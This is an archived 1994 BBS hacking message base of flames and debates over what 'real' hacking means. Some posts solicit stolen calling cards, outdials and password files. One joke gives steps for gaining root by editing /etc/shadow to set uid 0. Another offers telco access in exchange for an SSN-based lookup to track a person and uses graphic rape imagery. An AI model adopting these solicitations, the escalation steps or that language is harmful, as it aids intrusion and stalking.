-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> doodz
>
>
> I was told this board r0cks. But there seems to be lots of drag
> lamers on here like bart. Lets get this thing going, I am looking
> for outdials and some good att cards--I have lots of passwd files
> so lets get the haqin shit going guys!
>
>
> K0d3R [tUpA(]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
i personally think, that he's the lame one, although, i don't agree with
all the flames that have been passed thru here in the last many messages,
i had to get this out into the open.. I'm sure no one will agree with me,
but i really don't care.. :) any ways see yalz later
From cosmos@yabbs Sat Aug 6 20:46:08 1994
From: cosmos@yabbs
To: Justbob@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 20:46:08 1994
In message re: FuQin NaRqS, Justbob said:
> Heh, i have a friend who was connected via ftp, he normally deletes his
> his site had been compromised.
> Within an hour, he had security ppl at his door asking if he knew yabbs
> was a h/ph board.
Hey justbob, can you "just" speak fucking english?? Explain to me how
one is "connected" via ftp...
Cosmos
From Natalie@yabbs Sat Aug 6 20:54:13 1994
From: Natalie@yabbs
To: Typhon@yabbs
Subject: re: Hitting On Natalie
Date: Sat Aug 6 20:54:13 1994
heehee. you only wish.
natalie
From htoaster@yabbs Sat Aug 6 22:48:41 1994
From: htoaster@yabbs
To: -DuCK-@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 22:48:41 1994
In message re: FuQin NaRqS, -DuCK- said:
> obviously this k0d3r is doing illegal shit, i think that he shouldn't be
> allowed here.. what do you guys think? hmm.. well, here's what he said//
i personally don't beleive in ever denying access to anyone unless they are
openly harrasing other users. in fact the software has very limited ways
to deny access to people, since i can only ban an entire site (since I don't
validated individual users through email or anything, I can't require a
email address for access and ban based on that).
i think he should understand what the board is about and what we're looking
for here...since the system got put in the #hack faq I expect a lot of loosers
to be showing up who expect to find lots of codes and stuff, and we just need
to explain that we don't want that.
alex
From htoaster@yabbs Sat Aug 6 22:49:33 1994
From: htoaster@yabbs
To: cosmos@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 22:49:33 1994
In message re: FuQin NaRqS, cosmos said:
> In message re: FuQin NaRqS, Justbob said:
> > Heh, i have a friend who was connected via ftp, he normally deletes his
> > his site had been compromised.
> > Within an hour, he had security ppl at his door asking if he knew yabbs
> > was a h/ph board.
>
> Hey justbob, can you "just" speak fucking english?? Explain to me how
> one is "connected" via ftp...
>
yeah, i was wondering if you could clarify the entire message. i'm interested
in knowing if people are getting harrased for using yabbs.
alex
From cosmos@yabbs Sat Aug 6 23:58:34 1994
From: cosmos@yabbs
To: htoaster@yabbs
Subject: re: FuQin NaRqS
Date: Sat Aug 6 23:58:34 1994
In message re: FuQin NaRqS, htoaster said:
> In message re: FuQin NaRqS, cosmos said:
> > In message re: FuQin NaRqS, Justbob said:
> > > Heh, i have a friend who was connected via ftp, he normally deletes his
> > > his site had been compromised.
> > > Within an hour, he had security ppl at his door asking if he knew yabbs
> > > was a h/ph board.
> >
> > Hey justbob, can you "just" speak fucking english?? Explain to me how
> > one is "connected" via ftp...
> >
>
> yeah, i was wondering if you could clarify the entire message. i'm interested
> in knowing if people are getting harrased for using yabbs.
>
> alex
>
Harrased?? By who? ;)
Cosmos
From C.S.@yabbs Sun Aug 7 02:24:24 1994
From: C.S.@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Sun Aug 7 02:24:24 1994
Yeah, I agree on that.
From C.S.@yabbs Sun Aug 7 02:30:03 1994
From: C.S.@yabbs
To: -DuCK-@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 02:30:03 1994
As long as he doesn't do any illegal shit here, who cares?
From maedhros@yabbs Sun Aug 7 03:55:16 1994
From: maedhros@yabbs
To: all@yabbs
Subject: hacking
Date: Sun Aug 7 03:55:16 1994
Just a quick word on hacking. Please free feel to correct me if I'm wrong.
Hacking is (to me, at least) a desire to learn. It's a desire to push a
system beyond normal limits, to explore possibilities which others didn't
think existed, to LEARN a system in its entirety. I stress the word
learn, because it doesn't seem to be in the little script-running warez
fucks vocabulary. It IS NOT collecting the works of others to break into
systems.
If hackers happen to break into a system occasionally, it's beside the point.
That is not the end goal to hacking. Many, many warez shit-heads would
have people believe they can hack. "Anyone got any scripts?" Bullshit!
If you can't even deal with writing your own goddamn shell scripts, don't
embarass yourself by insinuating you belong among the hackers ranks.
Hackers understand what they're working with: If they don't, they damn
well make it their first priority to learn it. If you want to learn to
hack, throw your silly ass scripts in the trash and go RTFM. Or, ignore
this post and stick your head back up your ass.
A final note: The quickest way to spot a waanabe is to find someone who
calls themselves a hacker. If you can hack, people will know you as such
by your word and actions, not by your self-praise. The people who talk
the most tend to know the least.
Sorry for yet another flame on the base, I realize it's already been
flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
a hacker, so don't bother asking me to justify myself. I study, listen
and learn; perhaps someday...
Maedhros /\
/--\
/ \
From Ziggy@yabbs Sun Aug 7 05:43:43 1994
From: Ziggy@yabbs
To: maedhros@yabbs
Subject: Learning
Date: Sun Aug 7 05:43:43 1994
I'd have to agree with you on the part of learning -- I think that it
should be the predominant force etched in everyone's mind.
You don't learn the innerworkings of shit if you type chmod +x and run the
damned thing. ;)
Anyways. I'm tired. It's 5 in the morning. I need some coffee.
From brael@yabbs Sun Aug 7 06:58:14 1994
From: brael@yabbs
To: maedhros@yabbs
Subject: re: hacking
Date: Sun Aug 7 06:58:14 1994
hmm.. my hacker ethic is simply if its fun, do it.. if that means be
1 of thoze LoDish twits which make the eff so godamn proud as you follow
the holy path of learned useless knowledge (COMSEC AHAH!) to a haq0ur
state of enlightenment then do it.. if it means be a cyber gangsta boogie
computer terrorist only concerned with the way in no matter how lowly
people think you r 4 running a skript from ur bag of trix n treats then
do it..!.. Being a good computer security penetrator/telco phreak ain't
too much to be proud of kids.. you end up in a)jail (phiber) b)with
your legs broken (SuperN1gger after he couldn't come up with enough
ATT 75/85 forwards for the mafia), c)running a failed security co.
no matter how much free publicity u get (ComSec lod/h), d)shaving your
group's name in the back of your head (Corrupt/MoD), e)a child molester
pale faced mutant (Johnny Draper aka the capt. of the sugary variety),
f)work for private investigators and eventually get busted (kludge) snif..
g)u'll wear pajama's everywhere, even in foggy situations.. (billsf,
hacktic@sf) h)u'll be held in jail for the rest of your life for
no apparent reason (dark dante after he t00k photos of himself fuckin
with remob at the c.o.) h)resort to netsex as ur only source of love
and affection cuz ur skared if people meet you they'll say you look
like an evil hairy beast of a dwarf (skywise)..
n e ways.. i could go on but u get the picture.. if u want to learn
something kewl get Super VGA Graphics programming secrets by steve
rimmer and code some fat demo and win 10K at assembly 94..
crack systems 4 fun, not mdssdf
woops not 4 some l@ym sense of holy pride but remembah thats jus n opinion
funplayexplorepokejumpcausehavocsmilefunfun!
brael.. the spliff went rryte 2 my head,
From Natalie@yabbs Sun Aug 7 10:13:53 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: hacking
Date: Sun Aug 7 10:13:53 1994
odd, i was always under the impression that true hacking was learning as
well. but then again, that was ten years ago. perhaps things have
changed since then.
- goes back to reading her unix shell programming book*
natalie
From No_Name@yabbs Sun Aug 7 12:40:44 1994
From: No_Name@yabbs
To: K0d3R@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 12:40:44 1994
AS I quote K0d3R
doodz
I was told this board r0cks. But there seems to be lots of drag lamers on
here like bart. Lets get this thing going, I am looking for outdials and
some good att cards--I have lots of passwd files so lets get the haqin
shit going guys!
K0d3R [tUpA(]
End quote.
What the hell is wrong with this place? geeze.. I wish they had a lamer
filter for people that suck.. Swap password filez? ya.. okay.. :)
BTW: where the hell did ya come up with the group name from? MTV?
PPRiCK Rulez.. :) Haha.. *Smirk*
From Phreddie@yabbs Sun Aug 7 13:26:43 1994
From: Phreddie@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Sun Aug 7 13:26:43 1994
Unfortunately though, the majority of the really foolish and careless
'hackers' are around 14 years old.. so that's why people generally tend to
depise them ..
I mean seriously, the other day on some BBS I read an anonymous message of
some guy describing how cool he was because he knew how to hack AoL!!!
Jesus H. Christ, I almost died of laughter..
From -DuCK-@yabbs Sun Aug 7 13:27:41 1994
From: -DuCK-@yabbs
To: htoaster@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 13:27:41 1994
> i personally don't beleive in ever denying access to anyone unless
> they are openly harrasing other users. in fact the software has
> very limited ways to deny access to people, since i can only ban an
> entire site (since I don't validated individual users through email
> or anything, I can't require a email address for access and ban
> based on that).
>
>
> i think he should understand what the board is about and what we're
> looking for here...since the system got put in the #hack faq I
> expect a lot of loosers to be showing up who expect to find lots of
> codes and stuff, and we just need to explain that we don't want
> that.
i get where you are coming from.. :) I guesswe'll just have to tell them
loosers.. NO CODEZ dewd.. hehe.. well, see you around.. :0
i mean :)
/~~~~~~\ ____
| \ | |
| \ ____ | | /\
| |___ | | ____| |/ >
| | | | |/ ___| /
| | | | | / | \
| / |/ | \__/ \ |\ \
\________/ \_________/\_______/___| \____\
From -DuCK-@yabbs Sun Aug 7 13:29:37 1994
From: -DuCK-@yabbs
To: C.S.@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 13:29:37 1994
> As long as he doesn't do any illegal shit here, who cares?
>
yeah, i guess so, as long as he don't get us in trouble!
i hope this bbs stays up for a long time.. it's lotsa fun
i don't want some warez puppy/code trader to ruin it for
all of us.. :0
From -DuCK-@yabbs Sun Aug 7 13:32:47 1994
From: -DuCK-@yabbs
To: brael@yabbs
Subject: re: hacking
Date: Sun Aug 7 13:32:47 1994
i don't think we needed any examples of what you're talking about.. it's
not nice to flame people..
From Justbob@yabbs Sun Aug 7 15:05:31 1994
From: Justbob@yabbs
To: cosmos@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 15:05:31 1994
Can you say `ftp phred.pc.cc.cmu.edu`?
good! I knew you could!
From balistic@yabbs Sun Aug 7 15:33:53 1994
From: balistic@yabbs
To: all@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 15:33:53 1994
I think somebody needs to asassin-box k0d3r...
From cosmos@yabbs Sun Aug 7 15:35:00 1994
From: cosmos@yabbs
To: Justbob@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 15:35:00 1994
In message re: FuQin NaRqS, Justbob said:
> Can you say `ftp phred.pc.cc.cmu.edu`?
> good! I knew you could!
>
You need to write your sentences in plain English man. Nobody is
"connected" through FTP. Anyhow, you are telling me he got busted or
raided or spyed on or molested or whatever for using phred's FTP??
Bwahahahahah....must be that gif of Jazzy...
Cosmos
From balistic@yabbs Sun Aug 7 15:36:05 1994
From: balistic@yabbs
To: all@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 15:36:05 1994
yeah...all us yabbs users are reeeeal mischeivous :)
From balistic@yabbs Sun Aug 7 15:37:50 1994
From: balistic@yabbs
To: maedhros@yabbs
Subject: re: hacking
Date: Sun Aug 7 15:37:50 1994
yeah..I read somewhere that synergy hacked into the DOD just to learn C
because it wasn't on the market yet...
balistic
From balistic@yabbs Sun Aug 7 15:40:45 1994
From: balistic@yabbs
To: Phreddie@yabbs
Subject: re: Sorry
Date: Sun Aug 7 15:40:45 1994
yes, unfortunatly many of the morons in my age bracket are lacking in
intelligence...:)
From balistic@yabbs Sun Aug 7 15:41:54 1994
From: balistic@yabbs
To: -DuCK-@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 15:41:54 1994
I don't know what I'd do without my yabbs....sob
From balistic@yabbs Sun Aug 7 15:43:53 1994
From: balistic@yabbs
To: all@yabbs
Subject: re: GIFs
Date: Sun Aug 7 15:43:53 1994
might be on the wrong thread here but can anyone scan a GIF of me (without
perversly altering it) into yabbs......thanx
balistic
From Skywise@yabbs Sun Aug 7 18:07:41 1994
From: Skywise@yabbs
To: K0d3R@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 18:07:41 1994
nice try bart... ;)
From Mystery@yabbs Sun Aug 7 18:46:51 1994
From: Mystery@yabbs
To: Natalie@yabbs
Subject: re: Sorry
Date: Sun Aug 7 18:46:51 1994
That's good to know... ;)
From Mystery@yabbs Sun Aug 7 18:47:40 1994
From: Mystery@yabbs
To: Typhon@yabbs
Subject: re: Hitting On Natalie
Date: Sun Aug 7 18:47:40 1994
Hehehehe.... Go for it. ;)
From Mystery@yabbs Sun Aug 7 18:49:53 1994
From: Mystery@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Sun Aug 7 18:49:53 1994
Not all 14 year olds are like that, but some people have that middle
school frame of mind and really show their lack of maturity. I personally
would rather see some flame message base where people can take their
complaints and flames... Myself, I won't flame unless someone has given
me a reason to.
From Justbob@yabbs Sun Aug 7 19:41:44 1994
From: Justbob@yabbs
To: cosmos@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 19:41:44 1994
Yeah, but ftp'ed in isn't exactly plain english either?
ftping to yabbs?
And yeah, he got busted for ftp because he didn't have a utmp entry and
yabbs has a hack mesg base.
From htoaster@yabbs Sun Aug 7 20:21:24 1994
From: htoaster@yabbs
To: Justbob@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 20:21:24 1994
In message re: FuQin NaRqS, Justbob said:
> Yeah, but ftp'ed in isn't exactly plain english either?
> ftping to yabbs?
> And yeah, he got busted for ftp because he didn't have a utmp entry and
> yabbs has a hack mesg base.
his sysadmin seems overly cautious if he is worried about someone ftping
to phred.org because yabbs (which can only be accessed through telnet) has
a hack message base (which only a small group of yabbs users read anyway).
The ftp site really has very little to offer unless you want source code to
yabbs or gifs of some of the users.
alex
From cosmos@yabbs Sun Aug 7 20:30:54 1994
From: cosmos@yabbs
To: Justbob@yabbs
Subject: re: FuQin NaRqS
Date: Sun Aug 7 20:30:54 1994
In message re: FuQin NaRqS, Justbob said:
> Yeah, but ftp'ed in isn't exactly plain english either?
> ftping to yabbs?
> And yeah, he got busted for ftp because he didn't have a utmp entry and
> yabbs has a hack mesg base.
Oh christ. By busted, who do you mean. I doubt this would hold up in
court...
Cosmos
From Slaughte@yabbs Sun Aug 7 20:42:48 1994
From: Slaughte@yabbs
To: all@yabbs
Subject: My Name
Date: Sun Aug 7 20:42:48 1994
Okay I've been asking around for this for a long time and nobody
seems to be able to help me. I once had a command that would change my
Account name. All it does is change the name that appears in messages,
finger, posts etc.
Would anybody be able to tell me what that command was? Thanks.
Send the reply to bgorski@emr1.emr.ca
From Steyr@yabbs Sun Aug 7 21:28:32 1994
From: Steyr@yabbs
To: Slaughte@yabbs
Subject: re: My Name
Date: Sun Aug 7 21:28:32 1994
chfn
From Natalie@yabbs Sun Aug 7 23:48:28 1994
From: Natalie@yabbs
To: Mystery@yabbs
Subject: re: Hitting On Natalie
Date: Sun Aug 7 23:48:28 1994
natalie
From Natalie@yabbs Sun Aug 7 23:50:46 1994
From: Natalie@yabbs
To: Slaughte@yabbs
Subject: re: My Name
Date: Sun Aug 7 23:50:46 1994
woohoo!!! I actually know an answer! yesyesyes!!!!!!!!!!!!!
to change the account name( ie, the name that appears on yer email)
justtype chfn at the prompt....thatSHOULD work (itdoes on my system)
yes...i AM THE HACKER BABE!!!!!!!!!!
natalie
From cosmos@yabbs Mon Aug 8 00:02:52 1994
From: cosmos@yabbs
To: Natalie@yabbs
Subject: re: My Name
Date: Mon Aug 8 00:02:52 1994
No No natalie. This is #hack. To change your name you have to do the
following:
% run Rd|sT S(r|Pt h3r3
# vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
# change group and uid to 0
% id
% uid=0 gid=0
There. Now your name is changed and you have root access.
Cosmos
;)
From Natalie@yabbs Mon Aug 8 02:04:57 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: My Name
Date: Mon Aug 8 02:04:57 1994
oh fine *sob* just burst my bubble. and i was feeling so smart too. *sob*
YOU JUST RUINED MY DAY, YOU BUTTHEAD!!!! NEVER AGAIN WILL I CALL MYSELF
YOUR HACKER BABE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
heehee
;)
damn i'm funny
natalie
From -DuCK-@yabbs Mon Aug 8 11:03:36 1994
From: -DuCK-@yabbs
To: balistic@yabbs
Subject: re: Sorry
Date: Mon Aug 8 11:03:36 1994
>
> yes, unfortunatly many of the morons in my age bracket are lacking
> in intelligence...:)
>
I agree, we need some more inteligent people in our age bracket..
From -DuCK-@yabbs Mon Aug 8 11:04:28 1994
From: -DuCK-@yabbs
To: balistic@yabbs
Subject: re: FuQin NaRqS
Date: Mon Aug 8 11:04:28 1994
>
> I don't know what I'd do without my yabbs....sob
>
me niether.. :) I stay here too much.. What can i say?
-- I'M HOOKED!!! --
From htoaster@yabbs Mon Aug 8 11:50:19 1994
From: htoaster@yabbs
To: cosmos@yabbs
Subject: re: My Name
Date: Mon Aug 8 11:50:19 1994
In message re: My Name, cosmos said:
>
> No No natalie. This is #hack. To change your name you have to do the
> following:
>
> % run Rd|sT S(r|Pt h3r3
> # vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
well, i would hope that you would run vipw, so that the shadow and real
password files were in sync...
> # change group and uid to 0
> % id
> % uid=0 gid=0
>
From cosmos@yabbs Mon Aug 8 14:27:20 1994
From: cosmos@yabbs
To: htoaster@yabbs
Subject: re: My Name
Date: Mon Aug 8 14:27:20 1994
In message re: My Name, htoaster said:
> In message re: My Name, cosmos said:
> >
> > No No natalie. This is #hack. To change your name you have to do the
> > following:
> >
> > % run Rd|sT S(r|Pt h3r3
> > # vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
> well, i would hope that you would run vipw, so that the shadow and real
> password files were in sync...
Blah. Yeah on a BSD system and most other "smart" systems yes, but some
braindead sysv's like UnixWare et all dont have vipw or even better yet
dont even use shadow...
Tnx A.
Cosmos
From balistic@yabbs Mon Aug 8 15:49:13 1994
From: balistic@yabbs
To: Mystery@yabbs
Subject: re: Sorry
Date: Mon Aug 8 15:49:13 1994
You f****** lamer!!! what do f****** mean you won't f****** flame unless
given a f****** reason!!! :)
just kidden...hehheh
balistic
From balistic@yabbs Mon Aug 8 15:54:58 1994
From: balistic@yabbs
To: -DuCK-@yabbs
Subject: re: Sorry
Date: Mon Aug 8 15:54:58 1994
here here!
From balistic@yabbs Mon Aug 8 15:56:29 1994
From: balistic@yabbs
To: -DuCK-@yabbs
Subject: re: FuQin NaRqS
Date: Mon Aug 8 15:56:29 1994
ya know what DuCK? I just realized 70% of my freinds are on YABBS!!
pretty sad huh :)
From C.S.@yabbs Tue Aug 9 01:27:37 1994
From: C.S.@yabbs
To: maedhros@yabbs
Subject: re: hacking
Date: Tue Aug 9 01:27:37 1994
In message hacking, maedhros said:
>
> Sorry for yet another flame on the base, I realize it's already been
> flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
> a hacker, so don't bother asking me to justify myself. I study, listen
> and learn; perhaps someday...
That was a pretty good flame though...
From maedhros@yabbs Tue Aug 9 02:32:53 1994
From: maedhros@yabbs
To: C.S.@yabbs
Subject: re: hacking
Date: Tue Aug 9 02:32:53 1994
In message re: hacking, C.S. said:
> In message hacking, maedhros said:
> > Sorry for yet another flame on the base, I realize it's already been
> > flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
> > a hacker, so don't bother asking me to justify myself. I study, listen
> > and learn; perhaps someday...
> That was a pretty good flame though...
It's just that these crackers and warez kiddies are giving a bad name to a
group they don't even belong too. I was rifling through comp.security
tonight and listening to a bunch of sysadmins suggesting how to recover
systems which "hackers" had destroyed. What the hell kind of hacker would
willfully destroy files on someone's system. Granted, it is conceivable
that a hacker might break into something: But maliciously corrupt and/or
destroy data?! The problem is when these jerks do things like this and
claim they are hackers. The media displays cases like this and the word
hacker becomes tainted; synonymous with vandal.
Maedhros /\
/--\ "...and now, back to the regularly scheduled base..."
/ \ sorry again, I'll shut up now...at least I'll try
From kke@yabbs Tue Aug 9 03:29:21 1994
From: kke@yabbs
To: dialtone@yabbs
Subject: re: Operation Sundevil
Date: Tue Aug 9 03:29:21 1994
Try rtfm.mit.edu... In the directory
/pub/usenet-by-hierarchy/comp/dcom/telecom.... just a guess, I have the
file on my computer...
Killer Keebler Elf
Please Don't Squeeze the Charmin
From kke@yabbs Tue Aug 9 03:41:16 1994
From: kke@yabbs
To: all@yabbs
Subject: Public Access Unix
Date: Tue Aug 9 03:41:16 1994
Call Pyromania -- Binghamton, NY's Only Free Unix Site
Access on First Call -- Internet Email and Usenet by
the End of August -- 607-763-3454
Killer Keebler Elf
never trust a moron
From 'Drew@yabbs Tue Aug 9 11:23:00 1994
From: 'Drew@yabbs
To: natalie@yabbs
Subject: re: nitting on ????
Date: Tue Aug 9 11:23:00 1994
what's this m'dear....I see how you are....
'drew...
From Natalie@yabbs Tue Aug 9 16:03:04 1994
From: Natalie@yabbs
To: 'Drew@yabbs
Subject: re: nitting on ????
Date: Tue Aug 9 16:03:04 1994
nothing love...nothing at all...
natalie
who wonders why her emailbox is still lonely and empty
From GPF@yabbs Tue Aug 9 17:14:28 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Tue Aug 9 17:14:28 1994
In message gpf another yalk HO?, arachnoi said:
>
the level of maturity of your titles truly exemplifies your greatness...
>
> {Hahahaha, another r0dent speaks! tell us how great u are GPF! Tell
warez puppy alphabet and language, interesting....
> us how u hacked a Unix machine, along with every other 12 yr old with
oh yup, you figured me out.... i'm a silly little system cracker who runs
krad rdist scripts in hopes of being elite. that's me *smirk*
> a modem. If u really want to impress me, try answering this: How does
> Gould ENCORE computers pack their passwords? I'll will take a little
oooooh, he's cracked worthless computers.... next he'll be asking me
how to break into dynix/ptx
that'll be a real useful tad of knowledge when UTX makes its big comeback...
> more experience than dicking around on the school lameframe to anwer
> that. I await your answer.}
heheheh.... you're not even worth the flame....
From Zbadba@yabbs Tue Aug 9 22:04:12 1994
From: Zbadba@yabbs
To: all@yabbs
Subject: hmmm...
Date: Tue Aug 9 22:04:12 1994
I really love this message base.
Seriously! It's about the best laff to be had on yabbs ('ceptwhen Cheech
logs in, maybe. :))
I don't post much here, mainly because my knowledge is relatively
miniscule regarding all things unix. (ooh, been using unix for all of 6
months. blah. not even scratching the surface. It'd be nice to
install a BSD or even Linux on my system, but it'll have to wait until I
have the time and the money. Right now, I have neither.)
So I'll crawl back in my corner now, not a hacker but a user. Maybe I'll
be more helpful when I know more. (Say, that is the point, isn't it? Not
to give knowledge away, perhaps, but to teach and to learn (they're really
the same thing, like mass and energy). Hmmm... maybe the point isn't just
senseless flaming after all....)
I wax palaverous. Continue the flames. I really need more good laughs in a
day.
From balistic@yabbs Wed Aug 10 13:29:43 1994
From: balistic@yabbs
To: all@yabbs
Subject: hmmm...
Date: Wed Aug 10 13:29:43 1994
It's not the size of a man's modem that matters...
:)
balistic
From dmonger@yabbs Wed Aug 10 13:49:56 1994
From: dmonger@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 13:49:56 1994
silly me, i guess i spent too much time programming and sysadmining and not
enough learning silly acronyms.
paint me a non-hacker
drat
-peter
From Quetzal@yabbs Wed Aug 10 14:20:47 1994
From: Quetzal@yabbs
To: arachnoi@yabbs
Subject: re: Cell switch software
Date: Wed Aug 10 14:20:47 1994
What kind of equipment do you use to program cell phones..
From Quetzal@yabbs Wed Aug 10 14:24:34 1994
From: Quetzal@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 14:24:34 1994
What is there're packed in thier own juice to preserve freshness?
I'LL TAKE REVERSE ENGINEERING FOR $400!
From GPF@yabbs Wed Aug 10 17:38:25 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 17:38:25 1994
heres a clue, since you seem to have a lack of one, hacking has nothing to do
with memorizing obscure computer trivia, it is rather actually learning,
pushing a system beyond it's limits, and doing things in ways that noone has
done before.
still amused and waiting for the next question arach pulls out of his big
book of computter trivia,
.....gpf.....
From cosmos@yabbs Wed Aug 10 17:41:08 1994
From: cosmos@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 17:41:08 1994
You are really impressing me little boy. Trivia is the sign of the elite
hacker aint it...
You my friend fit into another category... Spend all day memorizing text
articles and tidbits to "brag" about but couldnt equate anything itno a
real experience. Have you ever had a system compromised? Ever find a
flaw in OS design(excluding dos and solaris)....
That my friend is what I call a true hacker. I think MIT does too...
Cosmos
From Skywise@yabbs Wed Aug 10 19:57:41 1994
From: Skywise@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 19:57:41 1994
In a previous mislet, Cosmos retorted...
I think MIT does too
Multiplex Informational Transfer (used by the COSMOS database to transfer
top sekrit stuff to and from telco orafices) I mean offices
From dmonger@yabbs Wed Aug 10 20:02:24 1994
From: dmonger@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 20:02:24 1994
> paint me a non-hacker {or even a long time sysadmin or programmer. Any
> sysadmin with some experience would know what those two pieces of junk
> are.
> They plagued the computer world for over 30 yrs, and we still have them
> laying around.}
well there are plenty of sysadmin's and programmers in the real world
that suck, i'll agree. But i'd still rather deal with them then loozer
<= high-school students who learned all about hacking by reading 3l33t zines
like phrack and don't bother to spend any time exploring or learning, just
rote memorization.
and i still fail to see how acronyms fit into hacking.
-peter
who is impressed that hackers have been given a worse name over the last several
years by little know-nothing morons than by 30+ years of shitty programmers and
administrators.
From balistic@yabbs Wed Aug 10 20:46:10 1994
From: balistic@yabbs
To: dmonger@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 20:46:10 1994
boooo yaaaaaa :)
From balistic@yabbs Wed Aug 10 20:47:29 1994
From: balistic@yabbs
To: arachnoi@yabbs
Subject: re: hmmm...
Date: Wed Aug 10 20:47:29 1994
ulp.....i've only got a 1200 :)
From balistic@yabbs Wed Aug 10 20:49:30 1994
From: balistic@yabbs
To: GPF@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 20:49:30 1994
gpf....pushing a system where no one has gone befor? do I smell hacker
trek... :)
From balistic@yabbs Wed Aug 10 20:52:10 1994
From: balistic@yabbs
To: all@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 20:52:10 1994
dah...........ummm.........okay okay here's a good one....what's DOS stand
for...huhhuh......:)
From Justbob@yabbs Wed Aug 10 21:15:00 1994
From: Justbob@yabbs
To: cosmos@yabbs
Subject: re: FuQin NaRqS
Date: Wed Aug 10 21:15:00 1994
Busted as in the security ppl came and asked him if he knew about it...not
busted as in legal action pending.
From Justbob@yabbs Wed Aug 10 21:25:27 1994
From: Justbob@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 21:25:27 1994
uh...yer pretty cool...huhuh...do you..uh...like know what IBM stands for?
that'd be pretty cool..
I know it's been said enuff already, but memorization of a bunch of
acronymns & use of the S+up||) substitutions doth not a hacker make...
(hey, that's pretty catchy...hrmmm...you know....I could get that
published ;)
From Natalie@yabbs Wed Aug 10 22:57:09 1994
From: Natalie@yabbs
To: Justbob@yabbs
Subject: re: gpf another yalk HO?
Date: Wed Aug 10 22:57:09 1994
uh...doesn't IBM stand for _I_tty _B_itty _M_en?
natalie
From dmonger@yabbs Thu Aug 11 00:11:46 1994
From: dmonger@yabbs
To: Natalie@yabbs
Subject: re: gpf another yalk HO?
Date: Thu Aug 11 00:11:46 1994
Itty Bitty bouncing Machine
From Death@yabbs Thu Aug 11 02:08:17 1994
From: Death@yabbs
To: all@yabbs
Subject: re: gpf another yalk HO?
Date: Thu Aug 11 02:08:17 1994
Well... I see that not much has changed in the last 100 messages...
At least half of the flames are creative though...
Why doesn't everybody get off of their high horse and actually try
to LEARN something out of this base? That's what it was meant for, as I
recall....
--Death
From Death@yabbs Thu Aug 11 02:16:03 1994
From: Death@yabbs
To: htoaster@yabbs
Subject: *sigh*
Date: Thu Aug 11 02:16:03 1994
Ah well... I was going to give an example of how this base could be used
to learn, but it seems that you've deleted all of the old messages *sigh*
oh well... That's life I s'pose.
(Besides, all the flames are entertaining)
--Death
From brael@yabbs Thu Aug 11 05:55:01 1994
From: brael@yabbs
To: all@yabbs
Subject: re: *sigh*
Date: Thu Aug 11 05:55:01 1994
w0uldn't u be st0ked if you came across an automated watts router
where a blonde soundin b1mbo bitch just beggin u to rape AT&T sucessfully
seduces u with , "Welcome to the Denver Technology Control Center.
To reach the proper technology press 1 for the 4ESS, to reach the 5ESS
press 2, press 3 for the CCS, press 4 for Cellular, press 5 for the Work
Management group supporting WMS, press 5 for Adjunct, and 7 for DAC." and
this girl wants it.. she fuckin wants 1t bad.. shes just beggin to get
raped n pillaged by some slick lil telk0 phreak thats g0nna do er in every
possible way concievable.. 0h w3ll random sick thoughts in my drunk..
BTW, that router is avaliable to ANYONE who can help me track someone
down with a CBI DTEC SS pull.. if so email me NOW!..
brael@crl.com
i love how every1 likesss to point at some1 else and say..
ur not a hacker! u cant hack ur way outta a paper bag!! Mhhaaan ur
14years old!!! and every1 always finishes with that little disclaimer
that says... i know nothing, maybe someday..but believe me, i know
what a real hacker is supposed to b..
if ur still crackin security systems after 20 n making no $ ur
fucked in the head and need 2 find some new puzzles to let ur brain
fiddle with..ok ill stop the meaningless banter right NOW.
From Famine@yabbs Thu Aug 11 07:48:54 1994
From: Famine@yabbs
To: arachnoi@yabbs
Subject: re: hmmm...
Date: Thu Aug 11 07:48:54 1994
Surely its bandWIDTH that matters not just the size of his modem!
Famine(the silly)
From rattler@yabbs Thu Aug 11 07:52:00 1994
